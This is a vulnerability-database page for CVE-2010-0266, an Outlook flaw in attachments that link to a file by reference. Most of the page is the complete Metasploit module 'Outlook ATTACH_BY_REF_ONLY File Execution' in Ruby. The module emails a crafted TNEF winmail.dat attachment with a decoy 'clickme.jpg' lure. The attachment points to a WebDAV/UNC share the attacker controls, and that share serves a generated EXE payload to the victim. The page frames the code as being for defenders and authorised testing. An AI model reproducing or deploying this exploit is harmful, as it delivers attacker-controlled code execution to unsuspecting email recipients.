CVE-2010-0266

critical
Published 2010-07-15 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Microsoft Office Outlook 2002 SP3, 2003 SP3, and 2007 SP1 and SP2 does not properly verify e-mail attachments with a PR_ATTACH_METHOD property value of ATTACH_BY_REFERENCE, which allows user-assisted remote attackers to execute arbitrary code via a crafted message, aka "Microsoft Outlook SMB Attachment Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16700 remote windows verified ruby ยท 16 KB
Metasploit ยท 2010-09-20

Microsoft Outlook - 'ATTACH_BY_REF_ONLY' File Execution (MS10-045) (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: ms10_045_outlook_ref_only.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	# This module acts as an HTTP server
	include Msf::Exploit::Remote::HttpServer::HTML

	# This module also sends email
	include Msf::Exploit::Remote::SMTPDeliver

	# This module generates an EXE
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'Outlook ATTACH_BY_REF_ONLY File Execution',
			'Description'		=> %q{
				It has been discovered that certain e-mail message cause Outlook to create Windows
				shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
				streams with certain MAPI attachment properties, it is possible to set a path name
				to files to be executed. When a user double clicks on such an attachment or message,
				Outlook will proceed to execute the file that is set by the path name value. These
				files can be local files, but also file stored remotely for example on a file share.
				Exploitation is limited by the fact that its is not possible for attackers to supply
				command line options.
			},
			'Author'		=> 'Yorick Koster <yorick@akitasecurity.nl>',
			'Version'		=> '$Revision: 10389 $',
			'References'	=>
				[
					['MSB', 'MS10-045'],
					['CVE', '2010-0266'],
					['OSVDB', '66296'],
					['BID', '41446'],
					['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'],
				],
			'Stance'         => Msf::Exploit::Stance::Passive,
			'Payload'        =>
				{
					'Space'       => 1024,
					'Compat'      =>
						{
							'ConnectionType' => '-bind -find',
						},

					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => [ [ 'Automatic', {} ] ],
			'DisclosureDate' => 'Jun 01 2010',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				#
				# Email options
				#
				OptString.new('MESSAGECLASS',
					[false, 'Message Class value', 'IPM.Note']),
				OptString.new('FILENAME',
					[false, 'Sets the file name that is displayed in the message', 'clickme.jpg']),
				OptBool.new('HTML',
					[false, 'Send email in HTML or plain text', true]),
				OptString.new('MESSAGE',
					[false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']),
				#
				# WebDAV options
				#
				OptPort.new('SRVPORT',   [ true,  "The daemon port to listen on (do not change)", 80 ]),
				OptString.new('URIPATH', [ true,  "The URI to use (do not change).", "/" ]),
				OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
			], self.class)

		deregister_options('SSL', 'SSLVersion') # Just for now
	end

	def on_request_uri(cli, request)

		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_error("Unexpected request method encountered: #{request.method}")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end

	end

	def process_get(cli, request)

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		webdav = "\\\\#{myhost}\\"

		if (request.uri =~ /\.exe$/i)
			print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		print_status "Sending 404  to #{cli.peerhost}:#{cli.peerport} ..."
		resp = create_response(404, "Not Found")
		resp.body = ""
		resp['Content-Type'] = 'text/html'
		cli.send_response(resp)
	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
		headers = {
			'MS-Author-Via' => 'DAV',
#			'DASL'          => '<DAV:sql>',
#			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, GET, PROPFIND',
			'Public'        => 'OPTIONS, GET, PROPFIND'
		}
		resp = create_response(207, "Multi-Status")
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request)
		path = request.uri
		print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
		body = ''

		my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri    = "http://#{my_host}/"

		if path =~ /\.exe$/i
			# Response for the DLL
			print_status("Sending EXE multistatus for #{path} ...")
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

			resp = create_response(207, "Multi-Status")
			resp.body = body
			resp['Content-Type'] = 'text/xml'
			cli.send_response(resp)
			return
		end

		if path !~ /\/$/

			if path.index(".")
				print_status("Sending 404 for #{path} ...")
				resp = create_response(404, "Not Found")
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			else
				print_status("Sending 301 for #{path} ...")
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end

		print_status("Sending directory multistatus for #{path} ...")
		body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
	<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}</D:href>
		<D:propstat>
			<D:prop>
				<lp1:resourcetype><D:collection/></lp1:resourcetype>
				<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
				<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
				<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
				<D:supportedlock>
					<D:lockentry>
						<D:lockscope><D:exclusive/></D:lockscope>
						<D:locktype><D:write/></D:locktype>
					</D:lockentry>
					<D:lockentry>
						<D:lockscope><D:shared/></D:lockscope>
						<D:locktype><D:write/></D:locktype>
					</D:lockentry>
				</D:supportedlock>
				<D:lockdiscovery/>
				<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
			</D:prop>
		<D:status>HTTP/1.1 200 OK</D:status>
	</D:propstat>
</D:response>
|


		subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

		files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_exe}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
		if request["Depth"].to_i > 0
			if path.scan("/").length < 2
				body << subdirectory
			else
				body << files
			end
		end

		body << "</D:multistatus>"

		body.gsub!(/\t/, '')

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml; charset="utf8"'
		cli.send_response(resp)
	end

	def exploit

		unc = nil
		if (datastore['UNCHOST'])
			unc = datastore['UNCHOST'].dup
		else
			unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
		end

		@exploit_unc_host = unc
		@exploit_unc  = "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\"
		@exploit_exe  = rand_text_alpha(rand(8)+4) + ".exe"

		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
		end

		msg = Rex::MIME::Message.new
		msg.mime_defaults
		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
		msg.to = datastore['MAILTO']
		msg.from = datastore['MAILFROM']

		if datastore['HTML'] == true
			body = create_email_body_html(datastore['MESSAGE'], msg.subject)
			content_type = "text/html; charset=\"iso-8859-1\""
			msg.add_part(body, content_type, 'quoted-printable')
		else
			body = create_email_body(datastore['MESSAGE'])
			content_type = 'text/plain'
			msg.add_part(body, content_type, '8bit')
		end

		attachment = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n")
		content_type = 'application/ms-tnef'
		content_disposition = "attachment; name=\"winmail.dat\""
		msg.add_part(attachment, content_type, 'base64', content_disposition)

		print_status("Sending message to the target...")
		send_message(msg.to_s)

		print_status("Creating WebDAV service and waiting for connections...")
		super
	end

	def create_email_body(body)
		body = body.gsub(/\\[nr]/, "\n")
		body = body.gsub(/\\t/, "\t")
		return body
	end

	def create_email_body_html(body, subject)
		body = body.gsub(/\\[nr]/, "<BR>\n")
		body = body.gsub(/\\t/, "&nbsp;&nbsp;&nbsp;")
		body = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=iso-8859-=\n1\">\n<TITLE>" << subject << "</TITLE>\n</HEAD>\n<BODY>\n" << body << "\n<BR><BR>\n</BODY>\n</HTML>"
		return body
	end

	def create_tnef_exploit
		filename = (datastore['FILENAME'] || 'clickme.png') << "\x00"
		message_class = (datastore['MESSAGECLASS'] || 'IPM.Note') << "\x00"
		pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}?.dat\x00"
		print_status("Using UNC path: #{pathname}")

		# start of TNEF stream
		sploit = create_tnef_header

		# MAPI message properties
		msgprops = "\x04\x00\x00\x00"			# Count		4

		msgprops << "\x0b\x00"				# Type		PT_BOOLEAN
		msgprops << "\x1b\x0e"				# Name		PR_HASATTACH
		msgprops << "\x01\x00\x00\x00"			# Value data	1

		msgprops << "\x1e\x00"				# Type		PT_STRING
		msgprops << "\x1a\x00"				# Name		PR_MESSAGE_CLASS
		msgprops << "\x01\x00\x00\x00"			# Count values	1
		msgprops << [message_class.length].pack("V")	# Value length
		msgprops << mapi_pad(message_class)		# Value data

		msgprops << "\x03\x00"				# Type		PT_INT
		msgprops << "\xfe\x0f"				# Name		PR_OBJECT_TYPE
		msgprops << "\x05\x00\x00\x00"			# Value data	MAPI_MESSAGE (5)

		msgprops << "\x03\x00"				# Type		PT_INT
		msgprops << "\x07\x0e"				# Name		PR_MESSAGE_FLAGS
		msgprops << "\x12\x00\x00\x00"			# Value data	0x00000012

		# add properties to TNEF stream
		sploit << "\x01"				# Level type	LVL_MESSAGE
		sploit << "\x03\x90"				# Name		attMAPIProps (0x9003)
		sploit << "\x06\x00"				# Type		atpByte (0x0006)
		sploit << [msgprops.length].pack('V')		# Len
		sploit << msgprops
		sploit << tnef_checksum(msgprops)

		# start of TNEF attachment
		sploit << "\x02"				# Level type	LVL_ATTACHMENT
		sploit << "\x02\x90"				# Name		attAttachRenddata (0x9002)
		sploit << "\x06\x00"				# Type		atpByte (0x0006)
		sploit << "\x0e\x00\x00\x00"			# Len		0x0000000e
		sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
		sploit << "\x3d\x04"				# Checksum

		# MAPI attachment properties
		attprops = "\x04\x00\x00\x00"			# Count		4

		attprops << "\x1e\x00"				# Type		PT_STRING
		attprops << "\x07\x37"				# Name		PR_ATTACH_LONG_FILENAME
		attprops << "\x01\x00\x00\x00"			# Count values	1
		attprops << [filename.length].pack('V')		# Value length
		attprops << mapi_pad(filename)			# Value data

		attprops << "\x1e\x00"				# Type		PT_STRING
		attprops << "\x0d\x37"				# Name		PR_ATTACH_LONG_PATHNAME
		attprops << "\x01\x00\x00\x00"			# Count values	1
		attprops << [pathname.length].pack('V')		# Value length
		attprops << mapi_pad(pathname)			# Value data

		attprops << "\x03\x00"				# Type		PT_INT
		attprops << "\x05\x37"				# Name		PR_ATTACH_METHOD
		attprops << "\x04\x00\x00\x00"			# Value data	ATTACH_BY_REF_ONLY (4)

		attprops << "\x03\x00"				# Type		PT_INT
		attprops << "\xfe\x0f"				# Name		PR_OBJECT_TYPE
		attprops << "\x07\x00\x00\x00"			# Value data	MAPI_ATTACH (7)

		# add properties to TNEF stream
		sploit << "\x02"				# Level type	LVL_ATTACHMENT
		sploit << "\x05\x90"				# Name		attAttachment (0x800f)
		sploit << "\x06\x00"				# Type		atpByte (0x0006)
		sploit << [attprops.length].pack('V')		# Len
		sploit << attprops
		sploit << tnef_checksum(attprops)

		return sploit
	end

	def create_tnef_header
		# TNEF Header
		buf = "\x78\x9f\x3e\x22"			# Signature	0x223e9f78
		buf << "\x00\x00"				# Key

		# TNEF Attributes
		buf << "\x01"					# Level type	LVL_MESSAGE
		buf << "\x06\x90"				# Name		attTnefVersion (0x9006)
		buf << "\x08\x00"				# Type		atpDword (0x0008)
		buf << "\x04\x00\x00\x00"			# Len		0x00000004
		buf << "\x00\x00\x01\x00"
		buf << "\x01\x00"				# Checksum

		buf << "\x01"					# Level type	LVL_MESSAGE
		buf << "\x07\x90"				# Name		attOemCodepage (0x9007)
		buf << "\x06\x00"				# Type		atpByte (0x0006)
		buf << "\x08\x00\x00\x00"			# Len		0x00000008
		buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
		buf << "\xe8\x00"				# Checksum

		buf << "\x01"					# Level type	LVL_MESSAGE
		buf << "\x0d\x80"				# Name		attPriority (0x800d)
		buf << "\x04\x00"				# Type		atpShort (0x0004)
		buf << "\x02\x00\x00\x00"			# Len		0x00000002
		buf << "\x02\x00"
		buf << "\x02\x00"				# Checksum

		return buf
	end

	def tnef_checksum(buf = '')
		checksum = 0;

		buf.each_byte { |b|
			checksum += b
		}

		return [checksum % 65536].pack('v')
	end

	def mapi_pad(buf = '')
		length = (buf.length + 3) & ~3

		(buf.length..(length - 1)).each {
			buf << "\x00"
		}

		return buf
	end
end
EDB-16699 remote windows verified
Metasploit ยท 2010-09-20

Microsoft Outlook - 'ATTACH_BY_REF_RESOLVE' File Execution (MS10-045) (Metasploit)

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Outlook ATTACH_BY_REF_ONLY File Execution
Source fetch failed: fetch_error โ€” view the original via the link above.
Outlook ATTACH_BY_REF_RESOLVE File Execution
Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
windows microsoftoutlook2002
windows microsoftofficexp
windows microsoftoutlook2003
windows microsoftoffice2003
windows microsoftoutlook2007
windows microsoftoffice2007

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.